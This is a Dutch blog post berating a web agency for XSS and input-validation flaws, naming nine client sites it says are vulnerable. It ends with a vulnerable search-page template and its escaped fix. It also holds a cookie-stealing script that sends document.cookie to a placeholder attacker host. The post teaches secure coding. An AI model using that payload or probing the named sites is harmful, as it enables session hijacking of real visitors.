RobIII

Ja hoor. We hebben er weer één. Helaas ben ik deze keer wat bekender met het bedrijf in kwestie, maar heb ik, to be honest, gelukkig niets meer met ze te maken. Vandaag heb ik voor u in de aanbieding de dames en heren van WebArchitects, de "inventors of RightClick".

Ik heb lang, heel lang, getwijfeld of ik hier iets over moest schrijven, maar ik moet het gewoon kwijt. In een niet nader te noemen site die men nog aan 't ontwikkelen is kwam ik de nodige XSS zaken tegen en wat zaken die verdacht veel leken op (mogelijkheid tot) SQL injection. Omdat ik de opdrachtgever wat ellende wou besparen heb ik netjes melding gemaakt van die zaken en die heeft dat op zijn beurt weer bij WebArchitects neergelegd.

De reactie laat zich raden; net als voorgaande bedrijf was de reactie nonchalant en deze keer hadden ze het geluk dat de site nog niet 'live' is. Ze kwamen dus weg met een "oh, dat is al bekend en staat op ons to-do lijstje"-achtige reactie. Grappig, want, zélfs al zit je in de ontwikkelfase, XSS lekken dienen vanaf de eerste regel code die je schrijft voorzien te zijn. Het eerste het beste "form" dat je maakt, de eerste de beste query parameter die je accepteert en ja, zelfs gegevens uit cookies die je (hoogstwaarschijnlijk, maar niet zeker) zélf hebt gezet dien je gewoon te controleren. Waardes dienen ge-"escaped" te worden, waardes dienen naast "geldigheid" ook op "zinnigheid" te worden gecontroleerd en met "een filtertje" kom je er niet zoals eerder aangetoond.

Wanneer begrijpen we het nou eens? Hoe vaak moet ik er nog op hameren? Hoe vaak moeten we nog in 't nieuws horen dat er god-knows hoeveel NAW gegevens, e-mail adressen, of erger: creditcard gegevens op straat liggen wegens een lek in een site. Hoe vaak moeten we nog onze billen branden voordat we het leren? Veiligheid is niet iets wat je, nadat je (bijna) klaar bent met je site, even "inbouwt" of als nieuwe laag ergens "boven op legt". Zelfs al verkeert je site nog in Betafase, sterker, Alpha-stadium, dan nog horen dit soort zaken gewoon niet meer voor te komen. Het hoort, vanaf het moment dat je de code produceert, voorzien te zijn.

Gaan we even kijken in de portfolio en de referenties van onze vrienden dan maken ze het ons wel weer lekker makkelijk om te zien of inderdaad de "oh, dat is bekend en komt allemaal goed"-reactie terecht is (wat je natuurlijk, na vorige alinea gelezen te hebben, al kunt beantwoorden). Maar we nemen toch even de proef op de som:

Kabri.nl > Yes.
Infotec.nl > Raak.
Roymartina.com > Oops.
Kieft.nl > Hé shit.
Ricohshop.nl > Ik zie een patroon.
Srt.nl > You have got to be kiddin' me...
Derijks.nl > Guess what? Bingo again!
Proost.nl > Woei!
Vlaggenwinkel.nl > Tadaa!

9 uit 9. Netjes

Je maakt mij niet wijs dat 't probleem bij ze bekend is. Sterker: zojuist is aangetoond dat het een structureel probleem betreft bij deze webbouwer en puur een gebrek aan kennis. Het is overduidelijk dat de jongens en meisjes bij WebArchitects geen benul hebben van XSS (laat staan de mogelijke gevolgen) en dus gewoon nog in hun sprookjeswereld vertoeven waarin iedereen alleen maar leuke en goede bedoelingen heeft. Nou; wake up and smell the coffee! Dat is niet zo. Zodra je je site online plempt en bezoekers kunnen gaan neuzen op je site sta je gewoon voorovergebogen met je ondergoed op je enkels te wachten. Want er komt iemand op het idee om eens te kijken wat er allemaal te halen valt waar hij/zij eigenlijk niet aan mag komen. En dan moet je dus verdomdes goed weten waar je mee bezig bent voordat je jezelf in zo'n situatie plaatst en moet je verrekes goed zorgen dat je, terwijl je daar zo staat, niets kan overkomen. Sta je niet één keer, maar 9 keer met je broek op de enkels en doe je je best zoveel mogelijk klanten te winnen zodat je ook liefst nog 10, 20 of 150 keer met je broek op de enkels kunt: dan ben je, zacht gezegd, een ei als je daar niet voor zorgt. Het gaat héél lang goed, maar het gaat een keer fout. Het gaat niet over of het fout gaat, het gaat een keer fout. Die garantie geef ik je. De vraag is: wanneer?

Bij een aantal van de bekeken sites in dit voorbeeld is het ook nog eens makkelijk een foutmelding te veroorzaken of zelfs een timeout door bijvoorbeeld Javascript uit te schakelen, max. lengtes van form elementen uit te schakelen en dan bijvoorbeeld 9999999999 items in het winkelwagentje te plaatsen. Een overflow dien je af te handelen, ongeldige (en onzinnige!) data ook. Geef je een max. lengte van 4 tekens, effectief dus maximaal 9999, voor een te bestellen aantal in een HTML formulier op dan zorg je dat je server-side ook niet meer dan 4 tekens toe staat. Never trust (user)input!

Ik heb het vaker gezegd: Shit happens. We zijn allemaal mensen. We laten allemaal wel eens een steekje vallen. Ook ik. Daar hoef ik me niet voor te schamen, dat gebeurt de besten. Maar je kunt wél zorgen dat je er alles aan doet om dat zoveel mogelijk te voorkomen. In deze zaak is dat overduidelijk niet het geval; dit is geen "steekje laten vallen" meer. Maar goed, dat was wel duidelijk. Ik vind het werkelijk onverklaarbaar dat in een bedrijf waar toch genoeg 'webdevelopers' zitten, niet één iemand deze kwestie is opgevallen; en mocht dat wel zo zijn, dan vind ik het nog vreemder dat er niets aan gedaan is. Zorg dus dat je op de hoogte bent van zaken als XSS, SQL injection, server-side validatie (en sanitizing van die data) etc. etc. Want voor je het weet loop je met een poepert rond die gebruikt is voor doeleinden waar 'ie niet voor gemaakt is. En als iemand je dan met de neus op de feiten drukt; haal dan die nonchalante grijns van je gezicht en raak in paniek in plaats van dat je doet of je neus bloedt. Dank diegene die het je meldt op je blote knieën en dank diegene dan nogmaals voor 't in tact laten van je kringspier terwijl het uitwonen van je endeldarm vele malen aantrekkelijker was.

En hou je developers zo nu en dan eens een grote dikke grijnzende "Hubba" voor en zorg dat ze er nachtmerries van krijgen. Zo hou je ze scherp.

1
2
3

<script type="text/javascript">
    document.location.href = 'http://www.hacker.com/savecookie.php?value=' + encodeURIComponent(document.cookie);
</script>

1
2
3
4
5
6
7

<%
$zoekstring = $_Get("someparam")
%>

<div class="searchresults">
  U zocht op $zoekstring
</div>

1
2
3

<div class="searchresults">
  U zocht op <script>...enge dingen hier...</script>
</div>

1
2
3
4
5
6
7

<%
$zoekstring = $_Get("someparam")
%>

<div class="searchresults">
  U zocht op $EscapeFunctie($zoekstring)
</div>

1
2
3

<div class="searchresults">
  U zocht op &lt;script&gt;...enge dingen hier...&lt;/script&gt;
</div>